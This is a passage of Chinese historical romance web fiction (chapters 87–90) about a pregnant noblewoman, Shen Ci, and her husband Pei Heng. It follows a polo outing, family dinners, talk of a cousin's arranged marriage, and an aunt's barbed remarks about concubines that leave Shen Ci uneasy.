“不用。”楚思怡和裴姝两个毫不犹豫的拒绝,趴在栏杆上激动不已,明明喊得嗓子都要哑了,也唯有间隙时渴了才喝了一些茶。 马球场上多是热热闹闹的,楚映梦也没有拘着她们俩。 “随她们去,就在跟前看着,也不会有什么事。”楚映梦对那些没什么兴趣。 她懒懒的坐着,时不时的看一眼沈瓷。 沈瓷也坐着,但却时不时变换着坐姿。 这动作尽数落在楚映梦的眼中,她忍不住问道,“怎么了?是坐不住吗?” 沈瓷轻轻的点头,“坐着有一些难受,想起来走一走。” “那我陪你去外头走走。”楚映梦刚生了孩子没多久,孕期的种种反应都清楚,便说陪沈瓷出去走走。 沈瓷没有拒绝,姐妹俩结伴往外头走去,裴姝瞧见这一幕立刻跑过来,“嫂嫂,怎么了?你哪里不舒服吗?” “没有,我就是坐的有些久,想要走一走。”沈瓷温和的解释,裴姝说要陪她去,被楚映梦拦下了。 “你和思怡在这儿继续看球,我陪着阿瓷就好。” 和两个妹妹说完话,楚映梦就陪着沈瓷往外走去,这地方很大,也很热闹。 果真如于舟说的,今日风和日丽,很适合踏青。 球场上热火朝天,还有不少喧闹的声音。 “产期在六月,正正好,不会太冷也不会太热。” “许是有些热的。”沈瓷说起这些语气有点儿苦恼,“近日我时常觉得热。” 夜里睡觉的时候也不太睡得好。 前些日子还有些冷,可她已经盖不住那厚被子,夜里常常将被子踢了,连累裴珩晚上还要起来给她盖被子。 “也许生了孩子就好,从前这个时候你也不会觉得热。”楚映梦软声安慰她。 沈瓷点了点头,摸了摸自己的肚子,我一开始还没觉得,现在肚子越来越大,孩子也会动了,倒是有了些真情实感。” 她对着表姐并无隐瞒,楚映梦听见这话也没发笑,因为她自己也是这般,“我也觉得神奇,竟真有了个小娃娃。” “我这些日子呀,看着珠珠,只觉得她越来越可爱。” “珠珠本就生的好看。”沈瓷看自家侄女就觉得哪哪儿都好看。 “你和表哥的孩子,自然也会好看的。”楚映梦问她可有让大夫把过脉。 沈瓷摇头,“夫君不让。” 裴珩不想给沈瓷压力,也没觉得男女有什么关系,“夫君说机会还挺大的,是男是女都有一半的机会呢。” 楚映梦听见这话,一时间不知要从哪里开始夸,这机会挺大是挺大的。 可这… 不就是男孩和女孩吗? 沈瓷瞧见姐姐的模样,有些忍俊不禁。 楚映梦见自己被她绕进去,有些气呼呼的,“你倒是跟着表哥学坏了。” 沈瓷咳嗽了两声,佯装自己没听明白。 楚映梦看着沈瓷,心中很是感慨,她觉得沈瓷成亲之后比从前更开朗一些。 她虽没有再和沈瓷朝夕相处,可表妹身上的变化,她还是看得见的。 就像今日,沈瓷竟也会跟着一起过来。 沈瓷做出这个决定的时候,多少是有些出人意料的。 从前,她都是力求稳妥。 “你还是想想一会儿表哥过来,要怎么和他解释。”楚映梦悠悠开口,“原本说好在酒楼,你却跑来这泥巴地。” “这不是出来踏青。”沈瓷的绣花鞋踩在了柔软的草地上,意有所指,“踏青。” 只是看着那冒出的新芽,倒也不忍心真的 踩上去。 至于裴珩。 他应当是不会怪她的。 虽然沈瓷从未问过这些,可她心中却莫名的笃定。 “是是是,踏青,踏青。”楚映梦宠溺的看向她,听见铜锣的声音之后便带着沈瓷往回走。 “我们去瞧瞧。” 沈瓷兴奋的点头。 一炷香燃尽之后,楚修筠和楚景澄赢得了那对金锁。 两个平安锁沉甸甸的,上头花样都挺漂亮。 楚景澄将其中一枚给了楚映梦,另外一枚给了沈瓷。 至于林书意等人,输了球之后就离开,也没在他们面前蹦跶。 楚景澄高兴得不得了。 只是和沈瓷说话的时候,还是下意识的想隐瞒,“等会儿可千万别告诉表哥我们来打马球了。” “省的一会儿挨骂。” 沈瓷心说其实也没什么事,她只是过来看看热闹的,是带她来马球场,又不是让她下场打球,好好的怎么会挨骂? 沈瓷看着表哥对丈夫的误解,忍不住的开口位为裴珩说好话,“其实…夫君他不会说什么的。” “表哥对你自然和颜悦色的!”楚景澄也不知受了什么刺激,像是想到了什么洪水猛兽一般,“他对我们怎么可能和颜悦色?” “阿瓷!你不能因为表哥现在跟你是夫妻,就向着他说话。”楚景澄像极了挑拨夫妻关系的恶毒表哥。 “你要向着我,懂吗?” 楚景澄恨铁不成钢。 沈瓷念在小金锁的份上,毫不犹豫的开口,“是,表哥说得对,我向着你。” “这才对,我跟你说…等会儿你回家…”楚景澄开口和沈瓷窜口供,但这口供说了两回还不带重样的。 沈瓷:“……” 她瞥见了越走越近的那个人,忍不住的咳嗽了两声。 偏偏楚景澄好不容易逮着机会,根本不愿意放弃。 “阿瓷你咳什么?难道嗓子不舒服?”楚景澄疑惑问道,他摸了摸下巴。 下了个结论,“那更不能让表哥知道了。” “有什么事情是不能让我知道的?”裴珩语气平淡,却将楚景澄吓的一个激灵。 “表,表哥?”楚景澄傻傻的看着他,“你是什么时候过来的?” “到了有一会儿。”裴珩自然的走到沈瓷身边慢条斯理道:“在阿瓷装咳嗽提醒你的时候。” 楚景澄:“……” 他看向周围的人,发现竟没有一个人提醒他,唯一提醒他的那个还被忽略了。 “表哥,其实…” 楚景澄支支吾吾的解释了半天,低着头没说话,深怕要被表哥怪罪。 谁知裴珩只问了沈瓷那金锁好不好看。 “是表哥他们赢来的彩头,我觉着比一般的更好看些。”沈瓷将金锁放到裴珩的手上,让他仔细端详。 “东西做的还挺精致。”裴珩开口夸赞。 倒是让楚景澄傻了眼,他呆呆看向裴珩,像是有些意外表哥怎么不怪他。 “怪你做什么?”裴珩没搭理不太聪明的表弟,只问沈瓷饿没饿。 将手中拿着的纸包递过去。 是先前沈瓷说好吃的薄饼。 他也没厚此薄彼,弟弟妹妹们都有份。 楚景澄试探的拿了一张,“表哥当真,不怪我?” “阿瓷是怀孕,又不是病了,出来看个马球又有何关系?”裴珩不知旁人怎么想,可他却知道沈瓷的情况。 不必自己吓自己。 楚景澄这才反应过来表哥根本不会生气。 后知后觉的松了一口气。 今日的酒楼是裴珩定的,沈瓷想去看马球自然也瞒不过裴珩。 何况她也没想着瞒。 她能吃能喝能睡,孩子健健康康,裴珩当然也不会拘着她,大理寺的公务一结束,就赶了过来。 裴珩已出现,瞬间吸引了不少人的视线,但裴珩旁若无人,只关心沈瓷饿没饿,“怎么不在看台上?坐着不太舒服?” 沈瓷轻轻的点了头,“坐的有些久,表姐就说陪我走一走。” 她比许多妇人要幸运一些,但肚子里多了个孩子,多少是会难受的。 “可有去哪里看看?” “没想去哪里,就随便走一走。”沈瓷和裴珩一起走到看台上,而后她们就瞧见裴珩宛如变戏法一般的拿出不少吃的。 都不多,却足够解馋。 楚映梦几个没觉得有什么,已经是见怪不怪。 可边上瞧见的却不是如此。 她们如何能想到,裴珩竟能这般直接的将糕点和零嘴取出来? 裴世子身上的还是官服吧? 这糕点还热乎的吧? 这是现买的吧? 一个个忍不住的看过去,沈瓷一人就能够吸引不少视线,如今多了裴珩愈发如此。 第88章 第88章也没什么,就是想告诉他们一…… 沈瓷察觉到有人在看自己,多少是有一些不自在的,可裴珩旁若无人惯了,从不将周围人的视线放在眼里。 旁人看得久了,也就歇了心思,除了眼中越来越多的羡慕。 楚景澄赢了个彩头,但很快就离开,因为楚修筠还在场下,他要再打一场。 楚景澄便陪着一起。 看台上依旧是这么些人,只是这回看台上多了一个裴珩。 马球场次有间隙,二表哥方才过来说了不少的话,但大表哥没有过来,还在场下活动,今日见面时也沉默许多,沈瓷有些疑惑的问楚思怡,“大舅母最近,又做了什么吗?” 若不然,大表哥怎么会闷闷不乐的? 楚思怡往场上瞥了一眼,心中无奈,“还不就是那些事。” “承宁伯府想休妻,但这事儿大伯父不答应,大伯母也不答应,已经僵持许久,承宁伯世子不在金陵眼不见未净的,他的态度倒也不强硬。大哥其实已经想过不少法子,偏偏大伯母成日里说大哥不疼一母同胞的妹妹,非跟我们几个关系好。”楚思怡烦躁不已。 有些话大伯母说的实在是太过分,楚思怡都不愿说出来。 她还说大哥胳膊肘往外拐里外不分,对沈瓷这个外人都那么好。 实在是让人恼恨。 这些事她和二哥都清楚,气的不行还要为了大哥不和她计较。 “最近娘亲和大伯母很不对付。”楚思怡神秘兮兮的凑过来说道,“大哥到了要议亲的年纪,大伯母给大哥选了一户人家,但是阿娘不答应。” “阿娘最近都在操心这件事,好在祖母是赞同阿娘的,即便大伯母有心反对,也不能成事。”楚思怡虽说的轻松,但其实一点儿也不轻松。 裴氏毕竟不是楚修筠的生母,若非实在不得已,也不会想要插手这事,但她实在不喜楚大夫人选的人家,若是妥协,楚修筠日后还不知要被亲娘裹挟成什么模样。 “那大表哥是怎么想的?”沈瓷开口追问。 “大哥当然是向着阿娘的。”楚思怡说起时朝着场内看了一眼,“大哥清楚只有阿娘才是真的为他好。” 这话听起来多少有些悲伤,沈瓷听罢心中有些不太好受,亲娘明明在身边,却也感受不到多少温暖。 大舅母的心思全在楚秋灵身上,分给大表哥的原本就少,又因为大表哥和二舅母关系更亲密,她心中有诸多不悦,只想要压二舅母一头。 若是如此,这些日子大表哥许是被烦的不行。 “大哥说他是不在乎的,要我们也别放在心上,可大伯母是他亲娘,这一重身份一直压着,大哥也很难做。”楚思怡一提起楚大夫人就头疼,但如今姐姐和表姐均已出嫁,她们没能经常见面,每回见面也都只想说些高兴的话。 这次若不是表姐问起,楚思怡也不想说的。 “那舅母选了哪家的姑娘?” “是北城云家的二姑娘。”楚思怡仔细的说道,“已经差不多定下,这两日大舅母愈发气不顺。” 楚思怡颇有些幸灾乐祸,只是说起这件事,楚思怡想到母亲的交代,请 表姐和姐姐五日后去府上坐坐。 “舅母要见我?”沈瓷疑惑问道,她们半月前才见过面。 “不是,是阿娘说云家要来看人家,让你们俩一块儿回去。”楚思怡想起了这件事,有些紧张,差点儿忘了最要紧的。 “前头怎么没说起?是什么时候?”楚映梦冷静问她。 楚思怡颇有些心虚,没有去回答姐姐头一个问题,弱弱道:“五日后。” “好。” “没问题,我那日将珠珠也带上。” 沈瓷和楚映梦很快应下,楚思怡这口气才松了下去。 二人如今最想知道的是这北城云家是哪位,先前还以为会是金陵的贵女。 楚思怡其实也不太清楚,倒是裴珩知晓,随口解释了几句,“云家是戍边武将,世代居住在北城,姑母选了云家的姑娘,倒也是用心良苦。” 沈瓷抬眸看去,晶亮的眼眸中满是好奇,裴珩见状又仔细的解释起来,“云家的姑娘,可不是会吃亏的主。” 云家人,爱恨分明。 楚大夫人这般拎不清,在她那里也讨不得好。 楚修筠本就不是个优柔寡断的,只是身份使然,让他无法对大夫人置之不理,若妻子也是个耳根子软的,潜移默化之下少不得被裹挟。 若换成云家姑娘,不会耳根子软的听信婆母,二人可以过自己的日子。 裴氏不需要楚修筠的妻子为他冲锋陷阵,反抗婆母,只需要他们夫妻可以心心相印,相濡以沫,美满幸福。 沈瓷听完之后,也渐渐期待起来。 “表哥的意思就是,我那未来的嫂嫂,是可以克大伯母的?”楚思怡冷不丁的说道。 意思是这么个意思,但被这般直白的说出来,到底有些… 楚映梦忍不住的笑起来,“阿娘肯定不是这个意思。” 只不过是希望大哥可以娶个和他一条心的妻子。 楚思怡似懂非懂的点点头。 楚映梦并不知道这件事,裴氏来看她的时候也没提,这会子少不得追问,楚思怡知道的也不算太多,就挑自己知道的说了。 听着二人说话的沈瓷手上也没闲着,没一会儿工夫裴珩带来的那些全被沈瓷吃完了。 裴珩招呼长鸣去今日的酒楼再定一个厢房,想着等用过晚膳再回去,交代完这些后又看向楚映梦,“今日可要早些回去?” 楚映梦没想到表哥会这么问,稍稍想一想就明白过来,“珠珠还小,不认人,我一会儿早些回去就好。” 她并未带过孩子,所以对孩子到没有那么多的想念。 说话间,铜锣又被敲响。 楚思怡没了好好说话的耐心,就要跑过去凑热闹,“表姐,你先坐着,我去看一看。” 裴姝也不予多让,直接跑到楚思怡的身边,二人紧张又兴奋。 若非沈瓷这会儿不能太激动,估摸着也坐不住。 “我们的彩头不是已经赢到了,大哥这是干什么?”楚映梦疑惑看过去。 差人去打听才知下一场的彩头是一杆红缨枪。 沈瓷联想到他们说起的云家姑娘,心中有了些许想法。 楚修筠和楚景澄默契极佳,何况这一次楚修筠势在必得,结果同样没有丝毫的意外。 那杆枪沉甸甸的,瞧着很漂亮,可到底趁不趁手,他也不太清楚。 可楚修筠想,能放到马球场上当彩头的,总是不差的。 楚修筠命身边小厮将这杆枪送回府上,原本是要和他们一块儿去酒楼,但楚大公子总觉得自己身上有一股怪味道,要去洗一洗。 楚景澄听到大哥那么说,忍不住开始观察起自己来,轻轻的嗅了嗅,“要不,我也回去洗洗?” 没人搭理他。 楚二公子也不在乎,打算和大哥一起回去。 楚映梦见状便说要一起回去看看阿娘,楚思怡看了看表姐,又看了看姐姐,果断跟着姐姐走。 只留下了裴姝一个。 裴姝:“……” 她并不想待着,尤其是和哥哥嫂嫂待在一处,哥哥会嫌她碍事的。 裴姝还不至于这么没有眼色,于是她扯了扯楚思怡的衣裳,“要不,我一起去看看姑母?” “成,我们一起走。”楚思怡干脆利落的应下。 一行人全部跟着楚修筠回去忠毅伯府,单独将沈瓷和裴珩留下。 沈瓷有些期待的看着裴珩,裴珩浅浅笑起,“也想去?” 她小幅度的点了点头。 裴珩自然答应。 于是去忠毅伯府的人又多了两个,楚修筠想了想,“要不,在府上用晚饭?婶婶若是知晓会很高兴的。” 众人纷纷点头,很快就做好决定,消息传回去时,裴氏果真高兴,明明还是午时,就已经开始吩咐厨房准备,“让厨房小心准备,不该放的不要放。” 随后看向身边的张嬷嬷,“你亲自去盯着。” “是。”张嬷嬷笑着应声。 才说话间,人就回来了,楚思怡蹦蹦跳跳的,楚映梦倒是稳重些,可看着母亲还是有些忍不住红了眼眶,“阿娘。” 其实也不是没有见面,楚映梦坐月子的时候,裴氏经常去探望,明明楚映梦定了过几日回府。 但今儿个能见到,她也同样开心。 “快歇一歇,怎么就你们三个,修筠和景澄呢?”裴氏往她们身后看了看,没看到另外两个,“还有阿瓷和裴珩呢?” “大哥二哥嫌弃自己身上一身汗,要去沐浴,表哥带着表姐坐后一辆马车,遇上卖酥饼的,两人买吃的去了,在后头很快就来。”楚映梦将事儿解释一番。 裴氏轻轻点头,又问她今儿想吃些什么。 “我想吃龙须菜,阿瓷说想要炸酥鱼。”楚映梦丝毫不客气,裴氏笑着应下,吩咐厨房去准备。 而后又备了不少几人喜欢吃的菜。 “阿娘,我还想喝排骨汤。” “好,成,让厨房去做。” * 另一边,裴珩和沈瓷一起站在路边等着酥饼出炉,她原本就有些饿了,路上瞧见这酥饼有些移不开眼。 裴珩便陪着她一块儿来买。 沈瓷有了身孕之后,她自己并未觉得有什么,可裴珩却能够敏锐的觉察到她的变化。 也许连沈瓷自己都没有注意,她的失落和开心都明显了许多,得到满足的时候,眼眸里满是神采。 “我们要二十个。”沈瓷朗声道。 “好嘞,夫人您稍后。”摊主高兴的应下,立刻开始忙碌起来。 裴珩什么都没说,拿出荷包找起银子来。 沈瓷原本是掰着手指算人数的,后来发现算不太清楚,便往多了买。 二人一块儿站在街边买吃食,主街上人来人往,有不少大理寺官员认出了裴珩,和他打招呼。 裴珩一一答应,顺势和沈瓷介绍起来人。 沈瓷便笑着打招呼。 那官员有些受宠若惊,开口攀谈起来,明知故问道,“裴大人这是?” “陪夫人买些酥饼。” 裴珩语气愉悦的应声,那官员又说了些有的没的,连沈瓷听了都有些不知所谓,偏偏裴珩今日脾气好得很。 一一答应。 沈瓷只听见裴珩话里话外都是:我夫人。 我娘子… 她听得晕乎乎的,只想让他不要再提… 裴珩并未见好就收,买完酥饼之后,就带着沈瓷转身走了,这条街上热闹非凡,前头还有不少吃的,且他还看见了不少熟人。 他牵着沈瓷的手往前走,时不时问她可还要买些别的,马车在后头跟着。 沈瓷一开始还以为裴珩这是转性了,再碰见他第四个同僚,待听见他重复好几回‘我陪着娘子一起散步’之后,沈瓷总算是后知后觉的反应过来。 裴珩这该不会是故意的吧? 第89章 第89章她的心里,很堵得慌 裴世子介绍的时候太过正经,以至于沈瓷虽有些疑惑,却没有太多证据。 尤其买完了东西二人就上了马车。 一切都仿佛很正常。 到了忠毅伯府后,沈瓷就将这些事彻底抛诸脑后,裴氏亲自站在外头等她,沈瓷见着人后也是喜悦,“舅母。” “哎,慢些下车。”裴氏伸手去扶了一扶,沈瓷下车后便和裴氏一块走在前头。 虽说是临时起意,但都是自家亲戚,并没那么多的规矩,福寿堂热热闹闹的,楚老夫人招呼孙女和外孙女坐在身边。 两人陪着楚老夫人说了不少话。 这热闹情绪却没有蔓延到每一个人的身上,楚大夫人将桌上饭菜砸了一地。 “裴兰清如今那是装都不装了?” “什么事情都要插一手,明明自己也有儿子,非要抢别人的。”楚大夫人心里窝着一团的火气,明明承袭爵位的是她的丈夫,明明伯爵夫人是她。 可她在这府上,说话竟没有半点分量。 “大夫人,您可别再说这事,云家人已经动身来金陵,不如就回到,这亲事已经定下,您若执意不肯,就连大老爷也不会向着您的。”嬷嬷各种劝她。 楚大夫人只觉得自己胸腔里这口气堵得越来越厉害。 今日也同样如此。 一大家子一块儿用膳,她的儿子女儿都在身边,可楚修筠呢?不仅不陪着她,反而陪在裴兰清的身边。 “没有良心。”楚大夫人狠狠骂道,一边说楚修筠没有良心,一边又骂沈瓷害楚秋灵失了孩子。 明明这件事已经解释的清清楚楚,可楚大夫人就是什么都听不进去。 楚大夫人院子里发生的事情,自然有人事无巨细的报告给裴氏,裴氏随意的点了头,没搭理她。 既然不愿意吃饭,那就饿着吧,少吃一顿也不会饿死。 尚未开席,门房进来禀告说是二姑爷来了,楚老太太就愈发高兴,打趣的看着孙女,“是来接你的?” “说不准是来蹭饭的。”楚映梦咕咕哝哝的。 裴氏无奈道,“是我让女婿来的。” 兄弟姊妹都在,将女婿一个人落下算什么事? 季衍来了后对着沈瓷又是一通感谢,可见是真的喜欢这个名字。 热热闹闹的吃过一顿饭,裴氏也没久留他们,今日本是意外之喜,过些日子才是要紧事。 临走的时候她嘱咐沈瓷和楚映梦,到时候早些过来。 裴珩带着沈瓷回到永宁侯府,才一进门被等候着的嬷嬷请到正院去,“世子,少夫人,夫人请您二位和大姑娘过去。” 裴姝诧异的抬眸,本以为母亲等的是哥哥和嫂嫂,谁知连她也有份。 三人一同前往正院。 永宁侯夫人先是关切的问了几句,而后告诉沈瓷和裴姝,后日要去外祖家做客。 “什么时候去呀?我们何时能回来?”裴姝听见这话不太客气的问道,显然是不怎么想去的。 永宁侯夫人倒也没在意,“是你舅母的生辰,总要吃了饭回来。” “你若是待不住,倒时候就同阿瓷一起早点走。” 裴姝答应下来。 沈瓷见裴姝的态度有一些恹恹的,离了正院后才开口问她是何原因。 裴姝咬着唇,似有些为难,沈瓷连忙开口,“我并非刻意探听,只是有些担心你。” 裴姝闻言软软的笑起,“不是什么大事,就是外祖家的姐姐妹妹,很难相处。” 这么多年,她们就没能好好相处过,裴姝显然是不怎么想说的,和兄嫂道别后便回到自己的小院。 沈瓷看着裴姝的背影,久久都没能回神,忍不住看向裴珩,“那些表姐表妹,是不是给姝儿委屈受了?” 裴珩看了沈瓷一眼,并未正面的回答她,“裴姝不是个难相处的人,却也同她们合不来。” 裴珩并未说太多,事实上他和外祖家的兄弟姐妹也并没有很多的联系。 其实一开始,裴珩和楚家兄弟的关系也是淡淡,只是楚景澄很崇拜裴珩,一直喜欢黏着他,身后多了两个满心满眼都是崇敬的小萝卜头,即便是裴珩,也没能招架得住。 沈瓷听到这里,心中有了数。 她没再多问,只是想着要怎么哄裴姝开心,随后又问裴珩去舅母的生辰宴,要送些什么。 “母亲已经准备好,我们一家人,不用送两份礼。”裴珩冷静开口。 他本也不是什么大度的人,裴姝昔日受了不少委屈,他和母亲又不是瞎子。 沈瓷从周围人的神情中多少窥见一二,她原是想走一个过场,赴一场宴会,可谁知自己竟也被气得不行。 裴珩的外祖家同样显赫,父母结亲门当户对,子侄辈里头,裴珩是当之无愧的天之骄子,自幼没少被人当成榜样比较。 有人的地方总有是非,永宁侯夫人没出嫁前,和嫂子崔氏之间关系就不太和睦。 尤其是裴珩和裴姝,一个优秀,一个乖巧。 实在是让人羡慕不已。 崔氏的心里就愈发不平。 裴珩婚前就没有通房侍妾,如今沈瓷有孕,照样没有收什么人,金陵人人都说沈瓷命好。 原本这些事也没什么人拿到台面上来说,可谁让裴珩这舅母,和沈瓷的舅母完全是两个类型的。 才刚见面就装模作样和永宁侯夫人说了不少掏心窝子的话,全被敷衍过去。 但她也不恼,笑着问自家小姑子怎么不给儿媳妇选两个可信的丫鬟? 外甥房里没个人怎么成? 也总是有需要的时候。 “外甥媳妇如今六个月的身孕,这总要注意些。” 这话说的很直白,沈瓷忍不住的皱了皱眉。 永宁侯夫人声音更是冷淡,“大嫂若是醉了,就且歇一歇,莫要说些胡话惹人笑话。” “是了,是了。到底是吃醉了酒,都开始说起胡话来。” 崔氏见好就收,今日是她生辰,本也没想着要做些什么,当舅母的若是给外甥塞人,也是匪夷所思,只不过是存心要膈应这婆媳俩。 沈瓷胃口全无,安静的坐在一旁。 永宁侯夫人冷冷的瞥了大嫂一眼,旁若无人的问沈瓷是不是不太舒服? 沈瓷本以为自己会错了意,但在婆母那淡然的眼神中,她还是点了点头,她心里有些堵,胃里也堵得慌,孩子更是在这个时候动了起来,沈瓷没太弄明白自己心中情绪,就只当自己是不舒坦。 永宁侯夫人点了点头,朗声唤人,“裴姝。” 裴姝原本在外间吃茶,那些表姐表妹围着她说话,她本已经很不耐烦,此番听母亲喊她,立刻走了进来,“阿娘。” “你嫂嫂不太舒服,陪嫂嫂先回府,请个大夫来瞧瞧。”永宁侯夫人轻声吩咐,裴姝听见这话立刻看了过来。 “什么?嫂嫂不舒服吗?”裴姝不知缘由,心中担忧不已,“嫂嫂,你没事吧?是不是吃坏什么了?” 崔氏听见这话,脸色立刻难看起来,“姝儿,话可不能乱说的。” “有些喘不过气来。”沈瓷将计就计,她脸色本就不好看,看着也不像是假的,崔氏一时间也分不清她们这是装的还是真的。 却也不敢真的不当一回事,“不若去你表姐屋里歇一歇?” “无妨,大嫂你今日忙碌,她们当小辈的就不要在这里添麻烦的好。”永宁侯夫人淡淡回绝,让身边的嬷嬷送沈瓷和裴姝两个回府,崔氏想要拦都拦不住。 “这…” 崔氏不过是想膈应人,可没想着宴会还没开场,就让客人离府,要是婆母知晓这事,指不定又要挨一顿训斥。 “外甥媳妇若是不舒服,府上也可以请个大夫。” “多谢嫂嫂好意,”永宁侯夫人虽然笑着,但笑意却没有达到眼底。 崔氏明白,小姑子这是不满了。 她也没多挽留,假惺惺的说了几句话,裴氏都懒得搭理,“大嫂,宴会马上就要开始了,你身为今日主 角,可不好不出席。” 崔氏冷着一张脸。 永宁侯夫人半点没理会,今日给足了崔氏体面,偏生崔氏给脸不要脸,她也不愿自家孩子受委屈,干脆的让她们俩离开。 * 马车上,裴姝满脸着急,时不时的问沈瓷情况,在府上的时候沈瓷不好说,离了外祖家,沈瓷就没什么好隐瞒的,告诉裴姝自己没事。 “啊?” “原来外祖家不仅姊妹难相处,连舅母也这般不好相处。” 沈瓷简简单单的一句话,裴姝就明白过来是什么原因,她默默的坐到沈瓷的身边,眼中满是担忧,“嫂嫂,她为难你了?” 沈瓷轻轻摇头,不过是几句膈应人的话。 实则这些她没必要放在心上,但偏偏她就是放在心上了。 “只是说的话有些不好听。”沈瓷也没告诉裴姝,崔氏到底说了什么。 “大舅母一向很讨人厌,嫂嫂你不要搭理她。”裴姝气呼呼的说道,为了宽慰沈瓷,裴姝还说起了不少自己小时候的事。 “她一向不喜欢我,偏偏要我去外祖家,我小时候不懂事信以为真以为她真的喜欢我,谁知她一边亲切的抱着,一边说我不如表姐聪明。” “她怎的说这般的话?”沈瓷眼中满是心疼。 怪不得昨日裴珩的态度那么奇怪,原来还有这桩事。 “没关系的,爹娘还有哥哥,全给我出气了。” 这件事已经过去许多年,裴姝并不觉得是自己的问题,就连连阿娘一开始都被她给骗了,知晓真相之后阿娘在外祖家闹了一场,发了很大的脾气,逼着崔氏承认错误,和她道歉,足足三年没给崔氏好脸色看。 此后阿娘去外祖家都会问她愿不愿意去。 崔氏在那之后都改了许多,再没说过这些话,谁知今儿个居然犯病了? “嫂嫂你别放在心上。”裴姝宽慰的说道。 沈瓷轻轻的点头,摸了摸裴姝的手,试图安慰她,她当然不是将崔氏的话放在心上。 只是她心里堵得慌,一点儿也不想当个大度的妻子,给裴珩准备什么暖床丫鬟。 第90章 第90章我不想大度,又怕你希望我大…… 沈瓷和裴姝原本是去参加生辰宴的,但事情闹成这样,她们也待不住。 府上没有准备午膳,二人也没想着为难自己,找了一家酒楼坐下。 沈瓷没什么胃口,但不想裴姝担心,多少吃了一点,可其实仔细的看,她也并没有吃多少。 都只动了几筷子。 裴姝陪着沈瓷坐了好一会儿,姑嫂两人说了不少的话,裴姝想说一说舅母,但沈瓷却拦住了她,“不好的回忆,不用一直说的。” 更何况还要将这些事情拿出来安慰她。 沈瓷自己心里堵得慌,可也很心疼裴姝,她和裴姝挨得很近,伸出手轻轻的搂了搂裴姝,“不用去想这些事的。” 裴姝有些愣神,其实这些事情已经过去许久,阿娘和哥哥都知道她的委屈,知道后就没有让她继续受委屈。 她会说出来也是因为真的不在意了,但她的嫂嫂却记挂着她。 担心她会不会因为想起许多年前的往事而难受,裴姝只觉得心里软软的,也有些热热的。 她小心翼翼的靠在沈瓷的肩膀上面,生怕给她造成什么负担。 沈瓷调整了姿势,轻轻的拍了拍她,“怎么了?” “想靠一会儿。”裴姝轻声说道,她软软的依偎在沈瓷的身边,声音又轻又软,“嫂嫂,你怎么那么好?” 沈瓷哑然失笑,也不知裴姝这个好的标准是什么。 可她也觉得裴姝很好。 她来金陵之后,无论是表哥还是表姐,他们都对她很好很好,舅舅舅母也是一样的。 至于楚大夫人? 沈瓷根本没将她放在心上。 不在意的人,过问那么多做什么? 桌上的那些饭菜,沈瓷没有吃,裴姝也没有怎么吃,两人也不在乎,坐了好一会儿,才想着要回府。 今日的事情对于沈瓷而言,到底是有一些冲击的,她没有和裴姝说起,裴姝也很体贴的没有问,更没有刻意的找话题,想说话的时候说一说,不想说话的时候就安静发呆。 姑嫂二人相安无事的回到家中。 原本裴姝想继续陪着沈瓷的,只不过沈瓷用过饭之后有些犯困,裴姝便很自觉的告辞,待到兄长回来的时候,裴姝又很自然的告诉他了这件事,“嫂嫂的情绪有些低落。” “今日我们都没在外祖家用饭。” 裴姝说了不少,裴珩一一答应,又问起裴姝那些姊妹有没有给她气受。 “哥哥放心,她们如今不敢得罪我的。”裴姝软软笑起,虽说姊妹们都有哥哥,可也只有她的哥哥为她讨回公道。 何况有些事情过去的终究过去了,裴姝早就不是当年的小孩子。 裴珩点了点头,他回到住处的时候,沈瓷还没有醒过来。 她睡的还算安稳,裴珩就没有想着要将人叫醒。 安静的在一旁看书,裴珩想起妹妹说的话,倒是有些在意今日发生了什么。 裴珩本可以让长鸣去调查,但他还是决定耐心的等待沈瓷醒来。 沈瓷这一觉睡了许久,醒过来的时候天都已经黑了,她睡的太久,以至于昏昏沉沉的。 过了好一会儿才缓过神来,沈瓷刚想要出声喊人,就瞥见一旁不知坐了多久的裴珩,“夫君?” “你回来了?” “嗯。”裴珩随意的应了声,他走过去探了探沈瓷的额头,“今天睡了好久,是不是有哪里不舒服?” 裴珩的声音一如既往的温和,和沈瓷记忆中的并没有太多差别,她看着裴珩,默默的摇了头,“我没事,就是今日有些累。” 至于到底什么地方累,沈瓷没说,她尚且不知要如何解释,便没有提,好在裴珩没有追问。 裴珩不是不想追问,只是更想沈瓷可以主动的告诉他。 裴世子有的时候耐心很好,可有的时候耐心却没有很好,沉默了好一会儿,他还是决定开口。 “阿瓷,你有没有什么话要告诉我的?”裴珩并不知道具体发生了何事,只是担心沈瓷。 裴姝也只知道沈瓷许是受了委屈,可具体发生了何事,她一概不知,但能够让阿娘那么生气,想来也不是什么好事。 沈瓷看着裴珩,丈夫眼中是深深的关切,她当然能够看的明白。 只是,那些话她有些难以启齿。 并不知道怎么说。 沈瓷其实知道,这是很平常的事,许多人家都会有这样的惯例。 她成亲不足三月便有了身孕,正是新婚,自然不会有没眼色的人来提这些事。 沈瓷不是不知道,只是根本就不想知道,府上没人提,婆母不提,裴珩不提,甚至都没有想过要和她分房睡。 她就顺理成章的当做没有这件事。 沈瓷知道自己不是个很大度的人,她眼中所看到的婚姻,多是美满。 父亲只有母亲一个。 舅舅和舅母和睦美满。 表姐和表姐夫也是恩爱有加。 她当然也会心生期待,心生妄念。 尤其,裴珩还给了她这样的暗示,让她期待有这样的可能,沈瓷垂下眼眸,犹豫着该不该说出口,“我其实有一些事想告诉你,但又不知道该不该说。” 有些事情不曾摆到明面上来的时候,还可以装傻充愣视而不见。 但确确实实的存在,而沈瓷也确实因为这件事而心里堵得慌,她想要忽略,却没有办法办到。 “想和我说什么?”裴珩耐心十足,并且打定主意无论沈瓷说什么,他想他都会认真听的。 若是舅母说了什么惹人不高兴的话,日后外祖家的宴请,他须得想一个两全的法子,想着怎么能让沈瓷不需要出席,也不会落人把柄。 二人的距离不算太远,沈瓷有一些紧张的揉搓自己的手指,白皙的手指被她揉的有些泛红。 这些事,并不适合放到台面上来。 说不说,怎么说,都是学问。 沈瓷没有办法毫无顾忌的说出来,若是从前… 她忍不住的想,若她不是和裴珩成亲会如何?但这个假设似乎并不成立。 沈瓷想,就算她不是和裴珩成亲,即便那个人在她心中没占据什么地位,她也不是什么自讨苦吃,能给丈夫安排通房侍妾的人。 除非迫不得已。 现在显然不是迫不得已的时候,甚至不过是旁人的并不算高明挑拨,可她偏偏开始焦虑,开始担忧,开始计较。 这不太对劲。 沈瓷想着。 但她却又不愿意刻意去压抑自己。 奇怪又纠结。 “夫君…你希望…我是一个贤惠大度的妻子吗?”沈瓷抬眸,认认真真的看向裴珩,她眼中的试探并没有隐藏,她也的确在试探,想知道裴珩的心中是怎么想的。 